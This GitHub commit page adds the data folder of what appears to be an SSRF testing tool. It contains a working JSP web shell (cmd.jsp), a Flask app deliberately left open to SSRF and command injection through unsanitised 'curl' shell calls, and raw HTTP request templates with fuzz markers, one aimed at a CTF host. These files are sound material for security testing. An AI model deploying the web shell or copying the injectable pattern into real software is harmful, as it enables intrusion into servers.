Skip to content

Commit 49ab156

Browse files
errorfiathckerrorfiathck
authored
Add files via upload
1 parent 1e85146 commit 49ab156

File tree

7 files changed

+141
-0
lines changed

7 files changed

+141
-0
lines changed

‎data/cmd.jsp

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<%@ page import="java.util.*,java.io.*"%>
2+
<HTML><BODY>
3+
<FORM METHOD="GET" NAME="myform" ACTION="">
4+
<INPUT TYPE="text" NAME="cmd">
5+
<INPUT TYPE="submit" VALUE="Send">
6+
</FORM>
7+
<pre>
8+
<%
9+
if (request.getParameter("cmd") != null) {
10+
out.println("Command: " + request.getParameter("cmd") + "<BR>");
11+
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
12+
OutputStream os = p.getOutputStream();
13+
InputStream in = p.getInputStream();
14+
DataInputStream dis = new DataInputStream(in);
15+
String disr = dis.readLine();
16+
while ( disr != null ) {
17+
out.println(disr);
18+
disr = dis.readLine();
19+
}
20+
}
21+
%>
22+
</pre>
23+
</BODY></HTML>

‎data/example.py

+58
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# NOTE: do not try this at home - highly vulnerable ! (SSRF and RCE)
2+
# NOTE: this file should become a simple ssrf example in order to test SSRFmap
3+
# FLASK_APP=example.py flask run
4+
5+
from flask import Flask, abort, request
6+
import json
7+
import re
8+
import subprocess
9+
10+
app = Flask(__name__)
11+
12+
@app.route("/")
13+
def hello():
14+
return "SSRF Example!"
15+
16+
# curl -i -X POST -d 'url=http://example.com' http://localhost:5000/ssrf
17+
@app.route("/ssrf", methods=['POST'])
18+
def ssrf():
19+
data = request.values
20+
content = command(f"curl {data.get('url')}")
21+
return content
22+
23+
# curl -i -H "Content-Type: application/json" -X POST -d '{"url": "http://example.com"}' http://localhost:5000/ssrf2
24+
@app.route("/ssrf2", methods=['POST'])
25+
def ssrf2():
26+
data = request.json
27+
print(data)
28+
print(data.get('url'))
29+
content = command(f"curl {data.get('url')}")
30+
return content
31+
32+
# curl -v "http://127.0.0.1:5000/ssrf3?url=http://example.com"
33+
@app.route("/ssrf3", methods=['GET'])
34+
def ssrf3():
35+
data = request.values
36+
content = command(f"curl {data.get('url')}")
37+
return content
38+
39+
# curl -X POST -H "Content-Type: application/xml" -d '<run><log encoding="hexBinary">4142430A</log><result>0</result><url>http://google.com</url></run>' http://127.0.0.1:5000/ssrf4
40+
@app.route("/ssrf4", methods=['POST'])
41+
def ssrf4():
42+
data = request.data
43+
print(data.decode())
44+
regex = re.compile("url>(.*?)</url")
45+
try:
46+
url = regex.findall(data.decode())[0]
47+
content = command(f"curl {url}")
48+
return content
49+
except Exception as e:
50+
return e
51+
52+
def command(cmd):
53+
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
54+
(out, err) = proc.communicate()
55+
return out
56+
57+
if __name__ == '__main__':
58+
app.run(host='127.0.0.1', port=5000, debug=True)

‎data/request.txt

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
POST /ssrf HTTP/1.1
2+
Host: 127.0.0.1:5000
3+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5+
Accept-Language: en-US,en;q=0.5
6+
Accept-Encoding: gzip, deflate
7+
Referer: http://mysimple.ssrf/
8+
Content-Type: application/x-www-form-urlencoded
9+
Content-Length: 31
10+
Connection: close
11+
Upgrade-Insecure-Requests: 1
12+
13+
url=https%3A%2F%2Fwww.google.fr

‎data/request2.txt

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
POST /ssrf2 HTTP/1.1
2+
Host: 127.0.0.1:5000
3+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5+
Accept-Language: en-US,en;q=0.5
6+
Accept-Encoding: gzip, deflate
7+
Referer: http://127.0.0.1:5000/
8+
Content-Type: application/json
9+
Content-Length: 43
10+
Connection: close
11+
Upgrade-Insecure-Requests: 1
12+
13+
{"userId":"1", "url": "http://example.com"}

‎data/request3.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
GET /ssrf3?url=SSRF HTTP/1.1
2+
Host: 127.0.0.1:5000
3+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5+
Accept-Language: en-US,en;q=0.5
6+
Accept-Encoding: gzip, deflate
7+
Referer: http://mysimple.ssrf/
8+
Connection: close
9+
Upgrade-Insecure-Requests: 1

‎data/request4.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
POST /ssrf4 HTTP/1.1
2+
User-Agent: User-agent
3+
Host: 127.0.0.1:5000
4+
Connection: close
5+
Accept-Encoding: gzip, deflate
6+
Content-Type: application/xml
7+
Content-Length: 149
8+
9+
<run><log encoding="hexBinary">4142430A</log><result>0</result><url>*FUZZ*</url></run>

‎data/request5.txt

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
POST /index.php HTTP/1.1
2+
Host: ctf.hacklab-esgi.org:8082
3+
Content-Length: 5
4+
Cache-Control: max-age=0
5+
Origin: http://ctf.hacklab-esgi.org:8082
6+
Upgrade-Insecure-Requests: 1
7+
Content-Type: application/x-www-form-urlencoded
8+
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36 OPR/60.0.3255.15 (Edition beta)
9+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
10+
Referer: http://ctf.hacklab-esgi.org:8082/
11+
Accept-Encoding: gzip, deflate
12+
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
13+
Cookie: session=718ec500-02c9-433e-ac3d-ece753ee1169
14+
Connection: close
15+
16+
url=FUZZME

0 commit comments

Comments
 (0)